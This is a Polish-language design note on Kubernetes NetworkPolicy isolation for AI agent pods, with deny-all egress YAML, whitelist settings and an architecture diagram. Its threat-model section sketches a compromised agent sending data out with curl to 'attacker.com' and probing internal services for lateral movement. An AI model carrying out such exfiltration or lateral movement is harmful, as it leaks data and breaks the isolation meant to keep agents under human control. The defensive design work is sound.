# NetworkPolicy i izolacja sieciowa #sympozium #security #network ## Zasada Agent pods mają **deny-all egress** - nie mogą komunikować się z internetem ani innymi podami. Jedyny punkt kontaktu to IPC Bridge sidecar → NATS. ## Implementacja ```yaml apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: agent-deny-all spec: podSelector: matchLabels: sympozium.ai/component: agent policyTypes: - Egress egress: [] # DENY ALL ``` ## Wyjątki (via SympoziumPolicy) ```yaml networkPolicy: denyAll: true allowDNS: true # Agent może rozwiązywać nazwy allowEventBus: true # IPC Bridge → NATS allowedEgress: # Whitelist - host: "api.openai.com" port: 443 ``` ## Dlaczego to ważne? ### Scenariusz ataku bez NetworkPolicy: ``` Compromised agent → curl attacker.com → exfiltrate data Compromised agent → curl internal-api.svc → lateral movement ``` ### Z NetworkPolicy: ``` Compromised agent → curl anything → BLOCKED Agent → /ipc/*.json → IPC Bridge → NATS → Controller (kontrolowany przepływ) ``` ## Architektura izolacji ``` ┌─────────────────────────────────────────┐ │ Agent Pod (deny-all egress) │ │ │ │ ┌──────────┐ ┌──────────────┐ │ │ │ Agent │ │ IPC Bridge │→→→ NATS │ │ │ (no net)│ │ (has net) │ │ │ └──────────┘ └──────────────┘ │ │ │ │ │ └── /ipc/ (filesystem only) ──────┘│ └──────────────────────────────────────────┘ ``` Agent kontener: - Brak dostępu sieciowego - Komunikacja tylko przez filesystem (/ipc/) IPC Bridge sidecar: - Ma dostęp TYLKO do NATS - Bridguje filesystem → NATS --- Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[Przepływ danych i IPC]] | [[SympoziumPolicy]]